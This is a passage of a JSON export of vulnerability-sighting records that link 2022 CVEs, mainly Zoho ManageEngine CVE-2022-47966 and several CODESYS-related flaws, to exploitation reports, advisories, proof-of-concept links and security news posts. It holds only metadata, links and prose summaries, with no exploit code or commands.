"965471cf-0a63-4c3e-86c2-608c7f1bb8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:04.000000Z"}, {"uuid": "417038f1-9dd3-4332-8172-a05da557e730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb", "content": "", "creation_timestamp": "2023-02-07T23:21:03.000000Z"}, {"uuid": "809c4757-d1a3-4891-807e-251bd9dba232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb", "content": "", "creation_timestamp": "2023-02-06T23:52:49.000000Z"}, {"uuid": "6f15054b-ecd0-4446-a437-80a11546a4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47021", "type": "seen", "source": "https://gist.github.com/YellowOnion/8bd069ee35a6398aaa85d6abb27a1c9d", "content": "", "creation_timestamp": "2026-02-20T12:23:58.000000Z"}, {"uuid": "e2dcc025-37d7-4cd1-9b14-281885816a35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-05)", "content": "", "creation_timestamp": "2025-12-05T00:00:00.000000Z"}, {"uuid": "8ed4d3b7-c459-48c8-99be-170197875651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "f1483354-a3f3-4128-8e62-f245c99a693a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "8f38aa85-cf72-4e40-abc1-1e4d2fe04b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47425", "type": "seen", "source": "https://gist.github.com/Darkcrai86/5305e80a2ff03832f5cefb92031965e7", "content": "", "creation_timestamp": "2025-12-09T19:13:28.000000Z"}, {"uuid": "fa72d6a7-877f-4ea4-9b8e-64b213a1457a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "9cfe8f65-275e-4040-9a4d-237fd6be1786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/6b214eb9-2fee-451a-8479-56ba1b875db7", "content": "", "creation_timestamp": "2026-02-06T22:56:36.000000Z"}, {"uuid": "85a259fc-234d-4547-aa09-edffca8a1bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-06)", "content": "", "creation_timestamp": "2026-02-06T00:00:00.000000Z"}, {"uuid": "c9dd79cc-09a1-4f89-a3cb-32705f3c6b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-22)", "content": "", "creation_timestamp": "2025-12-22T00:00:00.000000Z"}, {"uuid": "5df60af6-4cc4-4170-98e9-7faac716d745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-28)", "content": "", "creation_timestamp": "2026-01-28T00:00:00.000000Z"}, {"uuid": "cee44192-1d9f-4af0-a356-80d79fde55a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-08)", "content": "", "creation_timestamp": "2026-02-08T00:00:00.000000Z"}, {"uuid": "5932749f-870b-4f4f-a582-75be18967d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47383", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "ef8f59f1-86d0-4708-928e-636fe3889540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47392", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "f823f77f-fd4c-4abe-80d2-10c7163605b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47933", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcga5u3ymb2e", "content": "", "creation_timestamp": "2026-01-14T23:33:07.321798Z"}, {"uuid": "bc5eb831-937b-43bb-aef0-7ce1b5d9f8cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47386", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "2ee3a776-b260-4a97-8c8f-94eadd5a1b12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47378", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "4cf7fc10-7a9d-4ff4-b906-c415d6ee43a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47379", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "fd1049bd-fbf4-4434-aec2-76d66f887bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47380", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "fee53ac9-9972-4208-9ab3-406a95e3038f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47381", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "4b0615e1-94bc-489a-b892-5f1453219e16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47384", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "4d6d6a49-7ce1-41e6-9717-f7239902283b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47385", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "cdaf48d1-0bdc-41e7-8098-1e55bc82c735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47387", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "4d7c5cfa-ce08-40d3-929f-b798249a43be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47388", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "f16c5a4f-2ecb-4b80-b97b-3a3b129d3145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47389", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "1f6a414c-1115-4239-99b2-b9a31fbed654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47390", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "6495a51b-823c-40e9-ab89-b6d06c7822a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47391", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "123645dd-9fa5-4f7a-8e68-db4c79230dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "e8fdb489-0743-44d5-bd3b-ab12cf00e9b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47382", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-076-01", "content": "", "creation_timestamp": "2026-03-17T12:00:00.000000Z"}, {"uuid": "e61adf84-d0a3-4355-8f92-b89251cdb548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=940", "content": "", "creation_timestamp": "2022-12-28T04:00:00.000000Z"}, {"uuid": "264eb069-304f-45fa-aab3-f431c84e809b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/16335c49-7925-4848-a616-925c376648a4", "content": "", "creation_timestamp": "2026-02-02T12:27:04.653648Z"}, {"uuid": "31ad335a-830d-4c17-87b5-65b9357fc0df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bd542cf4-dd01-405e-8963-0cf61a55f22e", "content": "", "creation_timestamp": "2026-02-02T12:27:06.260130Z"}, {"uuid": "e47eafd5-a48e-4d84-bab7-923aad90de1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47390", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3midob6mlw2y2", "content": "", "creation_timestamp": "2026-03-31T07:38:42.598795Z"}, {"uuid": "34694af1-eecb-4282-b520-e1aa86c22ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47389", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3midob6mlw2y2", "content": "", "creation_timestamp": "2026-03-31T07:38:42.690541Z"}, {"uuid": "b446468a-53d6-4fa8-83e8-58ec5d2ff9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47388", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3midob6mlw2y2", "content": "", "creation_timestamp": "2026-03-31T07:38:42.775715Z"}, {"uuid": "e069aa39-736d-493c-a8a7-183ce2b14acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "196d8f15-bb64-487e-ae6b-82215a3a9615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/cKure/11538", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Iranian hackers breach United States' aviation org via Zoho, Fortinet bugs.\n\nhttps://www.cisa.gov/news-events/alerts/2023/09/07/cisa-fbi-and-cnmf-release-advisory-multiple-nation-state-threat-actors-exploit-cve-2022-47966-and\n\nhttps://www.bleepingcomputer.com/news/security/iranian-hackers-breach-us-aviation-org-via-zoho-fortinet-bugs/", "creation_timestamp": "2023-09-09T09:27:40.000000Z"}, {"uuid": "8cd55b54-67d9-433e-96d0-12131cd4bfb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/cKure/10614", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 PoC for cve-2022-47966 affecting ManageEngine Products.\n\nhttps://github.com/shameem-testing/PoC-for-ME-SAML-Vulnerability\n\nhttps://twitter.com/_M_Shahnawaz/status/1616039880894648320", "creation_timestamp": "2023-01-20T06:23:19.000000Z"}, {"uuid": "da5fbb1f-773a-40aa-83e4-84ddfd4c5f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/cKure/10683", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Zoho Manage Engine: A Different Payload for CVE-2022-47966.\n\nhttps://vulncheck.com/blog/cve-2022-47966-payload", "creation_timestamp": "2023-02-18T08:41:56.000000Z"}, {"uuid": "df797d9a-9d6d-413e-8b19-7a76bfb2f4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/cKure/10627", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2022-47966; an unauthenticated remote code execution vulnerability that affects two dozen Zoho ManageEngine products, including ADSelfService Plus, ServiceDesk Plus, and Password Manager Pro, all of which have been exploited in the wild over the past year.\n\nhttps://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis", "creation_timestamp": "2023-01-23T06:07:15.000000Z"}, {"uuid": "5d9bfe47-fbb2-41c0-8303-d98cbface877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47758", "type": "published-proof-of-concept", "source": "https://t.me/cKure/13069", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Hacking smart lights: the story behind CVE-2022-47758.\n\nhttps://pwning.tech/cve-2022-47758/", "creation_timestamp": "2024-06-05T14:37:53.000000Z"}, {"uuid": "b7ec22c3-c70c-42e1-bcc2-2c2e021d4968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47870", "type": "seen", "source": "Telegram/I6Z8WZAGDswYIk6hrxMYEfOF_mOIOh3QmttugiLykeovJuge", "content": "", "creation_timestamp": "2025-02-14T21:09:18.000000Z"}, {"uuid": "87629b3b-35f0-4637-bab3-079041e3ee81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47477", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6714", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47477\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:40.527Z\n\ud83d\udccf Modified: 2025-03-06T16:15:35.934Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-06T16:34:16.000000Z"}, {"uuid": "2c289dc7-f63d-4024-9ee6-e34a494c4808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "seen", "source": "https://t.me/strykerapp/364", "content": "MacStealer: Wi-Fi Client Isolation Bypass (CVE-2022-47522)\n\nComing soon \u26a1\ufe0f", "creation_timestamp": "2023-03-30T11:25:33.000000Z"}, {"uuid": "cad3c5cd-5754-4dd3-9550-94d4572fb636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47090", "type": "seen", "source": "https://t.me/cvedetector/16281", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-47090 - GPAC MP4box Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2022-47090 \nPublished : Jan. 24, 2025, 2:15 p.m. | 38\u00a0minutes ago \nDescription : GPAC MP4box 2.1-DEV-rev574-g9d5bb184b contains a buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c, check needed for num_exp_tile_columns \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T16:04:38.000000Z"}, {"uuid": "513bd829-bddf-416e-ac72-3ebc20b4b612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47413", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 